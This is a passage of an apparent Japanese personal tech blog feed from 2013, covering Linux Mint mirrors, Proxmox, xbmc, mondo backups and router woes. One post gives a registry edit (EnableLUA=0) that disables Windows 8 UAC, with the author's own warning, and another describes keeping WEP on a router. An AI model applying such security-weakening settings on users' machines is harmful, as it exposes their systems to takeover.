&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/2887302584095789978/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2013/12/linux-mintvnc.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/2887302584095789978'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/2887302584095789978'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2013/12/linux-mintvnc.html' title='Linux mintでVNCを用いてリモート操作する'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj_30J9ezfGKu0ZH7UCq2s_0o_oK6Dsezpe7oBtO3eCLDWRjT-4eiCfxs6WfVs4yTdLuzkLlfrYihhiO2SF81ZBE4Ec01NQmic_ZTU3miiX_3SWxWy5rE5jLmdJhMWL12jHBQvZ4PlFG3e/s72-c/VNC1.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-2813164249816847623</id><published>2013-11-26T16:02:00.003+09:00</published><updated>2013-11-26T16:03:50.804+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux mint"/><title type='text'>Linux mint MATEのパッケージダウンロードを高速化する</title><content type='html'>Linux mint はデフォルトで海外のサーバ参照していてダウンロードが遅いので&lt;br /&gt;
下記を変更して日本のサーバを参照するようにして高速化することが出来ます。&lt;br /&gt;
apt-get等で遅いと感じる場合はやってみると何倍にも速くなると思います。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/etc/apt/sources.list
&lt;/pre&gt;
内の、
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;deb http://packages.linuxmint.com/ maya main upstream import
↓
deb http://ftp.jaist.ac.jp/pub/Linux/linuxmint/packages/ maya main upstream import


http://archive.ubuntu.com/ubuntu/
↓
http://jp.archive.ubuntu.com/ubuntu/
&lt;/pre&gt;
と書き換えます。&lt;br /&gt;
ついでに、Medibuntuプロジェクトが終了したので、下記をコメントアウトします。&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;# deb http://packages.medibuntu.org/ precise free non-free
&lt;/pre&gt;
以上で、高速な通信によりパッケージのインストールやアップデート、日本語化等が&lt;br /&gt;
かなり高速化されます。</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/2813164249816847623/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2013/11/linux-mint-mate.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/2813164249816847623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/2813164249816847623'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2013/11/linux-mint-mate.html' title='Linux mint MATEのパッケージダウンロードを高速化する'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-2226002548193957677</id><published>2013-11-04T03:48:00.001+09:00</published><updated>2013-11-04T03:48:19.847+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="game"/><category scheme="http://www.blogger.com/atom/ns#" term="numeron"/><category scheme="http://www.blogger.com/atom/ns#" term="Python"/><title type='text'>Numer0n 作ってみた</title><content type='html'>久しぶりに夜な夜なPythonでNumeronを作ってみた。&lt;br /&gt;
色々ひどいコードになってしまった。&lt;br /&gt;
とりあえず突貫で動けばいいやレベルで作った感じ。&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://github.com/falconws/Numer0n/blob/master/numeron.py&quot;&gt;https://github.com/falconws/Numer0n/blob/master/numeron.py&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Python 2.7.4 でコンソールから実行して動作確認しています。&lt;br /&gt;
&lt;br /&gt;
絶対なんか色々変なコードな気がする。&lt;br /&gt;
突っ込みを入れて欲しいです。&lt;br /&gt;
# 実はEmacsの操作の練習も兼ねてたりする。</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/2226002548193957677/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2013/11/numer0n.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/2226002548193957677'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/2226002548193957677'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2013/11/numer0n.html' title='Numer0n 作ってみた'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-581088662161078423</id><published>2013-10-18T23:53:00.002+09:00</published><updated>2013-10-19T00:24:08.339+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="KVM"/><category scheme="http://www.blogger.com/atom/ns#" term="proxmox_VE"/><category scheme="http://www.blogger.com/atom/ns#" term="仮想化"/><title type='text'>Proxmox VEを検証してみた</title><content type='html'>Proxmox VE&lt;br /&gt;
http://pve.proxmox.com/wiki/Main_Page&lt;br /&gt;
&lt;br /&gt;
を検証してみました。&lt;br /&gt;
理由は、今VMware ESXiを自宅の仮想化インフラとして使っているのですが&lt;br /&gt;
無償版ユーザを切り捨てる感じに動いているようなので、このままESXiを使い続けることは&lt;br /&gt;
難しくなるのではないかと移行先を探してのことです。&lt;br /&gt;
また、以前より自宅にはLinuxマシンしかないので ESXiの管理コンソールがWindows版しか&lt;br /&gt;
無い点に不満を持っていたのも理由です。&lt;br /&gt;
(※wineを使ってもvSphere Clientは動作しません)&lt;br /&gt;
&lt;br /&gt;
Proxmox VEとは、Debianベースで構築されたKVMアプライアンスサーバです。&lt;br /&gt;
公式サイトから1つの .iso ファイルをダウンロードしてきて、CDに焼いてサーバに&lt;br /&gt;
インストールするだけで、Webサーバが立ち上がって他のマシンからhttpでWeb接続して&lt;br /&gt;
ESXiのように仮想マシンを作成したり設定したり操作したり出来るというもの。&lt;br /&gt;
&lt;br /&gt;
インストール自体はとても簡単で10分〜15分程度で終わります。&lt;br /&gt;
終わったら他のマシンから&lt;br /&gt;
https://&amp;lt;サーバのIP&amp;gt;:8006/&lt;br /&gt;
へ接続するだけで、すぐに管理画面を利用できます。&lt;br /&gt;
※アカウントは ユーザIDが root パスワードはインストール時に設定したもの。&lt;br /&gt;
&lt;br /&gt;
色々検証してみたものの、乗り換えには使えないと判断して断念しました。&lt;br /&gt;
&lt;br /&gt;
以下Proxmox VEがダメなところ&lt;br /&gt;
1. 日本語の情報、英語の情報ともに少ない。&lt;br /&gt;
　　特に日本語の情報なんて皆無と言っていい程に少ない。日本じゃ使われてないのかな？&lt;br /&gt;
&lt;br /&gt;
2. Linux版Google ChromeやFirefox等から仮想マシンのコンソールを開こうとしたら開けない(エラー)。&lt;br /&gt;
　　公式フォーラムで聴いてみたところLinuxにバンドルされてるOpenJDK使うんじゃなくてOracleのJava使ってテスト&lt;br /&gt;
　　してみたら？とのこと・・。&lt;br /&gt;
　　OpenJDKで動かないとか割と面倒。&lt;br /&gt;
http://forum.proxmox.com/threads/16397-Can-t-connect-VM-via-Linux-Web-Browser?p=84455#post84455&lt;br /&gt;
&lt;br /&gt;
3. ESXiのようにOSインストール用のisoファイルが大量に置いてあるNFSサーバをマウントする時に不具合がある。&lt;br /&gt;
　　NFSサーバマウント先の&lt;br /&gt;
　　【NFS root】/template/iso/&lt;br /&gt;
　　ディレクトリ直下しかISOファイルを参照しない仕様になっている模様。&lt;br /&gt;
　　これでは不便すぎて使えたものじゃない。致命的な仕様上の欠陥はこれ。&lt;br /&gt;
&lt;br /&gt;
4. 全体的になんか不安定&lt;br /&gt;
　　コンソールに接続できなかったり微妙に不安定な感じ。&lt;br /&gt;
&lt;br /&gt;
5. WindowsゲストにVirtIO Driverをインストールするのがちょっと煩雑&lt;br /&gt;
　　手順が若干面倒。VMware Toolsみたいにお手軽にさらっと入らないものか。&lt;br /&gt;
&lt;br /&gt;
6. spiceプロトコルで接続するにしても不便&lt;br /&gt;
　　RDPみたいにお手軽には出来ない。色々面倒なことが多い。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
全体的に面倒だったり不安定だったりで乗り換える気にはなれませんでした。&lt;br /&gt;
VMware ESXiはWindowsが無いと管理画面が使えない点が最悪ですが、地味に色々便利で扱いやすいです。&lt;br /&gt;
何か代替え探さないと仮想化環境難民になってしまう・・・・・・。&lt;br /&gt;
XenServer？　いやーオープンソースで仮想化やるなら基盤はKVMでしょ？とか思う今日この頃でした。</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/581088662161078423/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2013/10/proxmox-ve.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/581088662161078423'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/581088662161078423'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2013/10/proxmox-ve.html' title='Proxmox VEを検証してみた'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-5400110894997033466</id><published>2013-09-18T15:50:00.000+09:00</published><updated>2013-09-18T15:51:03.145+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="シェルスクリプト"/><title type='text'>シェルスクリプトで拡張子を簡単に取り除く構文</title><content type='html'>今まで知らなかったのでメモ。&lt;br /&gt;
こんな簡単に拡張子を取り除けるのか・・・・。&lt;br /&gt;
今まではわざわざbasenameとか使っていたのに。&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;
for i in *.ts
do
    echo ${i%.ts}.mp4
done
&lt;/pre&gt;
とかやると、拡張子 .ts のファイルから .tsを取り除いて【${i%.ts}の部分】&lt;br /&gt;
その後.mp4を付与することが出来る。&lt;br /&gt;
これが何の役に立つかって、例で示したコードだと .tsファイルを.mp4へ&lt;br /&gt;
エンコードするときとかに役立つ。&lt;br /&gt;
今まで結構拡張子を変更したいとき煩雑なコードを書いてた気がするので、これは&lt;br /&gt;
かなり楽でスッキリしたコードになるなぁと。</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/5400110894997033466/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2013/09/blog-post.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/5400110894997033466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/5400110894997033466'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2013/09/blog-post.html' title='シェルスクリプトで拡張子を簡単に取り除く構文'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-6926492796338223643</id><published>2013-08-27T03:38:00.000+09:00</published><updated>2013-08-27T03:38:10.059+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="AES"/><category scheme="http://www.blogger.com/atom/ns#" term="MACアドレス"/><category scheme="http://www.blogger.com/atom/ns#" term="WEP"/><category scheme="http://www.blogger.com/atom/ns#" term="WZR-G108"/><category scheme="http://www.blogger.com/atom/ns#" term="セキュリティ"/><category scheme="http://www.blogger.com/atom/ns#" term="ハードウェア"/><category scheme="http://www.blogger.com/atom/ns#" term="メディアプレイヤー"/><category scheme="http://www.blogger.com/atom/ns#" term="ルータ"/><category scheme="http://www.blogger.com/atom/ns#" term="暗号"/><title type='text'>WZR-G108 Buffaloのちょっと古い無線ルータ不安定</title><content type='html'>&lt;a href=&quot;http://buffalo.jp/products/catalog/item/w/wzr-g108/&quot; target=&quot;_blank&quot;&gt;WZR-G108&lt;/a&gt;&amp;nbsp;を実家で長い間使用しているのですが、ちょくちょくルータが応答しなくなり不安定です。&lt;br /&gt;
&lt;br /&gt;
ルータが応答しなくなったら、電源を抜いて強制的に再起動するしか復帰方法がない。&lt;br /&gt;
ルータのファームウェアも最新版(Ver 2.41)を用いています。&lt;br /&gt;
&lt;br /&gt;
今日いい加減に嫌気がさして、設定を軽くメモして工場出荷時設定(初期化)に戻しました。&lt;br /&gt;
戻した後、メモした内容を元に設定を元に戻していき、不要なNATログ出力を無効にしたりして&lt;br /&gt;
ルータの負荷を軽くする感じにチューニングしてみました。&lt;br /&gt;
とりあえずこれで初期化したことによる効果を様子見で確認します。&lt;br /&gt;
&lt;br /&gt;
本当は無線暗号方式は AESを使いたいのですが、AESで使っていると2日に1回ぐらいの割合で無線(Wi-Fi)が死に、強制再起動を余儀なくされるので断念して、脆弱なのは承知の上でWEPを使っています。&lt;br /&gt;
&lt;br /&gt;
WEPだと当然非常に不安なので、MACアドレス制限を有効にしてセキュリティを高めてますが、これでも侵入しようと思えば、きっとパケットキャプチャされて通信しているMACアドレスを知られ、&lt;br /&gt;
そのMACアドレスに偽装(MAC Address Spoofing)してWEP暗号を破られれば&lt;br /&gt;
侵入されちゃうんでしょうね？うーん・・・・。&lt;br /&gt;
&lt;br /&gt;
この問題を考えていて、任天堂DSがWEP暗号しかサポートしてない問題を思い出しました。&lt;br /&gt;
この例によらず、昔売られていたハードウェアは開発が止まりファームウェアも更新されなくなるので、こうなってくるとやはり新しいハードウェアに買い替えしかないのでしょうか？&lt;br /&gt;
&lt;br /&gt;
実家に、「Avel Link Player2」というネットワークメディアプレイヤーもあるのですが&lt;br /&gt;
これも昔のままファームウェア更新が止まっているので、最新のH.264形式の動画を再生できなかったりして、コーデックを自分で追加することも出来ず困っています。&lt;br /&gt;
最新のハードウェア買い替え以外に何か対策がないものか・・・。&lt;br /&gt;
最新のハードウェアに買い換えてもいいけど、また年月が過ぎたら古くなって使い物にならなくなるのが目に見えてるので&lt;br /&gt;
物理的に壊れてしまうまで使いたい性格の自分としては、なんだかなぁと。&lt;br /&gt;
継続的に将来も有効に活用できるハードウェアの買い方をしたいものです。</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/6926492796338223643/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2013/08/wzr-g108-buffalo.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/6926492796338223643'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/6926492796338223643'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2013/08/wzr-g108-buffalo.html' title='WZR-G108 Buffaloのちょっと古い無線ルータ不安定'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-7452321766386000825</id><published>2013-08-07T01:40:00.000+09:00</published><updated>2013-08-07T01:40:16.825+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Windows8"/><category scheme="http://www.blogger.com/atom/ns#" term="WSH"/><category scheme="http://www.blogger.com/atom/ns#" term="セキュリティ"/><category scheme="http://www.blogger.com/atom/ns#" term="レジストリ"/><title type='text'>Windows8を脆弱にして管理者権限を簡単に振りかざす方法</title><content type='html'>知り合いに「Windows8でWSH等のスクリプトがエラーで動かないんだけど？」と&lt;br /&gt;
&lt;div&gt;
相談されました。エラーの原因はスクリプト実行ユーザの権限不足なのですが&lt;/div&gt;
&lt;div&gt;
そもそもAdministratorsに所属しているのにおかしいな？&lt;/div&gt;
&lt;div&gt;
Windows7だとコントロールパネルからUAC(User Access Control)を無効にするとか&lt;/div&gt;
&lt;div&gt;
すれば、XPみたいな感じに使えますが、Windows8ではさらにセキュリティが強化&lt;/div&gt;
&lt;div&gt;
されており、それだけではまだスクリプトの実行は色々エラーが出る模様。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
解決策は、下記を実行して管理者権限を開放する方法。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
レジストリエディタで下記を修正。&lt;/div&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;キー：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

名前：EnableLUA

データ：0
&lt;/pre&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
ただしWindows8のセキュリティ機構を無効化しちゃうので、あまりオススメはしません。&lt;br /&gt;
本来ならそのスクリプトを実行する時にだけ権限を昇格させるような方法を模索&lt;br /&gt;
※ Linuxで言うところの sudo みたいな・・？？&lt;br /&gt;
すべきだと思いますが、とりあえず動かすだけならこれで従来のスクリプトが動いたりします。&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/7452321766386000825/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2013/08/windows8.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/7452321766386000825'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/7452321766386000825'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2013/08/windows8.html' title='Windows8を脆弱にして管理者権限を簡単に振りかざす方法'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-1052450123161360527</id><published>2013-08-07T01:23:00.001+09:00</published><updated>2013-08-07T01:23:51.601+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android"/><category scheme="http://www.blogger.com/atom/ns#" term="iPhone"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="xbmc"/><category scheme="http://www.blogger.com/atom/ns#" term="マルチメディア"/><title type='text'>スマートフォンをリモコンにしてパソコン内の動画を再生！！</title><content type='html'>スマートフォン(Android、 iPhone)をリモコンにして、パソコン内に入っている動画ファイルを&lt;br /&gt;
再生できる、まさにパソコンをホームシアターにしてしまう面白いソフトウェアを導入してみました。&lt;br /&gt;
&lt;br /&gt;
その名は「xbmc」。&lt;br /&gt;
参考にしたのは下記サイト(Windows版について書かれてますが参考になりました。)&lt;br /&gt;
&lt;a href=&quot;http://xbmc.inpane.com/&quot;&gt;動画をテレビとパソコンで再生「XBMCを使ってみよう 」&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Linux mintでこれを導入してみた所、大変快適な動画視聴環境が出来上がりました。&lt;br /&gt;
実家に構築したのですが、家族が持つAndroid or iPhoneをリモコンに出来るので、新たに&lt;br /&gt;
リモコンを買ったりBluetoothやIrDA(赤外線)インタフェースをパソコンに増設したりしなくて良いです。&lt;br /&gt;
IPレベルで通信出来るので、同じLANに参加(Wi-Fiネットワークなら普通そうなってる)すればいいだけ。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Android版xbmcのリモコンアプリ&lt;br /&gt;
&lt;a href=&quot;https://market.android.com/details?id=org.xbmc.android.remote&quot;&gt;https://market.android.com/details?id=org.xbmc.android.remote&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
iPhone版xbmcのリモコンアプリ&lt;br /&gt;
&lt;a href=&quot;https://itunes.apple.com/us/app/unofficial-official-xbmc-remote/id520480364?ls=1&amp;amp;amp;mt=8&quot;&gt;https://itunes.apple.com/us/app/unofficial-official-xbmc-remote/id520480364?ls=1&amp;amp;amp;mt=8&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
どちらも無料。&lt;br /&gt;
&lt;br /&gt;
そして、Linux側でやることは&lt;br /&gt;
&lt;a href=&quot;http://wiki.xbmc.org/index.php?title=Installing_XBMC_for_Linux&quot;&gt;ここ&lt;/a&gt;
を参考に導入、設定するわけですが&lt;br /&gt;
ぶっちゃけそんなにたいしたことはしなくて良くて&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;sudo apt-get install python-software-properties pkg-config
sudo apt-get install software-properties-common
sudo add-apt-repository ppa:team-xbmc/ppa
sudo apt-get update
sudo apt-get install xbmc
&lt;/pre&gt;
とコマンドを実行するだけでインストールできて
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ xbmc
&lt;/pre&gt;
とコマンドを打つだけでシステムがもう立ち上がります。
&lt;br /&gt;
&lt;div&gt;
立ち上がったら、&lt;a href=&quot;http://xbmc.inpane.com/main/setup/#japanese&quot; target=&quot;_blank&quot;&gt;ここ&lt;/a&gt;&amp;nbsp;を参考に日本語化の設定をします。&lt;br /&gt;
その後&amp;nbsp;&lt;a href=&quot;http://xbmc.inpane.com/main/rc/smartphone.php&quot; target=&quot;_blank&quot;&gt;ここ&lt;/a&gt;&amp;nbsp;を参考にWebサーバを有効化します。&lt;br /&gt;
&lt;br /&gt;
後は手元のスマフォから接続して操作するだけという簡単仕様。&lt;br /&gt;
大画面テレビに接続すればホームシアターが出来上がります。&lt;br /&gt;
そうでなくても、普通のモニタで見るにしても、例えばベッドで横になりながら&lt;br /&gt;
色々動画見たい場合等、キーボードやマウスで操作するのが面倒だけどダラダラ&lt;br /&gt;
見たい時に、手元のスマフォでリモート操作できて大変便利ですw&lt;br /&gt;
&lt;br /&gt;
以上、ちょっと駆け足気味に軽く紹介しました。&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/1052450123161360527/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2013/08/blog-post.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/1052450123161360527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/1052450123161360527'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2013/08/blog-post.html' title='スマートフォンをリモコンにしてパソコン内の動画を再生！！'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-313041901411421440</id><published>2013-08-01T19:02:00.001+09:00</published><updated>2013-08-02T09:49:35.422+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="mondo"/><category scheme="http://www.blogger.com/atom/ns#" term="OSS"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><category scheme="http://www.blogger.com/atom/ns#" term="バックアップ"/><title type='text'>Linuxシステム全体をイメージファイルにバックアップする</title><content type='html'>実家にちょっと特殊に作り込んだLinuxサーバを構築したのですが&lt;br /&gt;
万が一システムが吹っ飛んだりしたらものすごく苦労したので目も当てられません。&lt;br /&gt;
なので、システム全体をバックアップして万が一に備えたいと思います。&lt;br /&gt;
&lt;br /&gt;
バックアップの種類は色々あると思いますが、今回はOSそのものをイメージファイル&lt;br /&gt;
形式にバックアップできるソフトウェアという条件で探しました。&lt;br /&gt;
&lt;br /&gt;
もともとpartcloneというツールを使ったことがあったのですが、このツールだと&lt;br /&gt;
マウント済みのシステムはバックアップが取れないので、ssh経由でバックアップする&lt;br /&gt;
とかが出来ず、USBメモリからLiveシステムを起動してバックアップしてと&lt;br /&gt;
物理的に手間がかかります。&lt;br /&gt;
&lt;br /&gt;
今回使ってみたのが mondo rescue というツール。&lt;br /&gt;
以下手順。(検証はUbuntu 12.04 LTS版 32bitで行いました。)&lt;br /&gt;
&lt;br /&gt;
すんなりapt-getで入らないので、下記コマンドを実行してインストールします。&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ cd /etc/apt/sources.list.d/
$ sudo wget ftp://ftp.mondorescue.org/ubuntu/12.04/mondorescue.sources.list
$ sudo apt-get update
$ sudo apt-get -y install mondo&lt;/pre&gt;
マニュアルを読みたい場合は下記で。&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ man mondoarchive
&lt;/pre&gt;
日本語の情報ではこちらのサイトが非常によくまとまっておりました。&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;http://www.asahi-net.or.jp/~aa4t-nngk/mondo.html
&lt;/pre&gt;
ただし、情報が古いのかわからないのですが、特定ディレクトリを除外するオプション&lt;br /&gt;
である「-E」オプションの使い方がちょっと最新のmondoだと違うっぽいです。&lt;br /&gt;
manを見て気付きましたが、上記サイトには&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;# mondoarchive -E &quot;/some/path /another/path&quot;
&lt;/pre&gt;
といった形でダブルクォートで全体を囲みつつディレクトリはスペースで区切ると書いてありますが &lt;br /&gt;
manによると
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;# mondoarchive -E &quot;/some/path|/another/path&quot;
&lt;/pre&gt;
のように、「|」(パイプ)で区切るのが正しいようです。&lt;br /&gt;
私の場合、下記コマンドでバックアップしてみました。&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ sudo mondoarchive -Oi -L -d /mnt/500g/backup/mondo/ -6 -S /var/mondo/scratch/ -T /var/mondo/tmp/ -E &quot;/var/data|/mnt&quot; -s 44800m
&lt;/pre&gt;
一応採用したオプションの意味を書きますと
-Oi → ISOイメージ形式にバックアップする &lt;br /&gt;
-L → LZO形式に圧縮する(gzipやbz2より良いと個人的に思っている為) &lt;br /&gt;
-d → どのディレクトリにバックアップするか&lt;br /&gt;
-6 → 圧縮レベル(0で無圧縮、9で最高圧縮です。)&lt;br /&gt;
-S → scratch作業用ディレクトリ(適当な空ディレクトリ指定で良いようです)&lt;br /&gt;
-T → tmpディレクトリ(適当な空ディレクトリ指定で良いようです)&lt;br /&gt;
-E → バックアップから除外するディレクトリの指定(/var/data/　と /mnt/ を除外しました。)&lt;br /&gt;
-s → 出来上がるISOファイルの最大サイズ。このサイズを超えると分割されます。1ファイルにまとめたかったので適当に40GB程を指定して分割されないようにしています。&lt;br /&gt;
バックアップが終わったファイルは3.5GBになりました。&lt;br /&gt;
バックアップ対象は6.2GBなので半分よりちょっと大きいサイズになったという感じでしょうか。&lt;br /&gt;
-6指定を-9指定にすればもっと小さくなるでしょうが時間かかりそうなのでやめておきます。&lt;br /&gt;
&lt;br /&gt;
まだリストアの検証はしていませんが、もしリストアする機会がありましたらまた記事書くかもです。&lt;br /&gt;
※業務で使うならちゃんとリストア検証もしておきましょう・・ｗ&lt;br /&gt;
&lt;br /&gt;
-- 追記 --&lt;br /&gt;
mindi パッケージが「認証されていません。検証なしにインストールしますか？」といった&lt;br /&gt;
警告が出てきてしまいますので、下記コマンドを実行しておきましょう。&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;
$ wget ftp://ftp.mondorescue.org/ubuntu/12.04/mondorescue.pubkey -O - | sudo apt-key add -
&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/313041901411421440/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2013/08/linux.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/313041901411421440'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/313041901411421440'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2013/08/linux.html' title='Linuxシステム全体をイメージファイルにバックアップする'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-4880572502580295914</id><published>2013-07-12T04:56:00.000+09:00</published><updated>2013-07-12T04:56:30.968+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux mint"/><category scheme="http://www.blogger.com/atom/ns#" term="MATE"/><category scheme="http://www.blogger.com/atom/ns#" 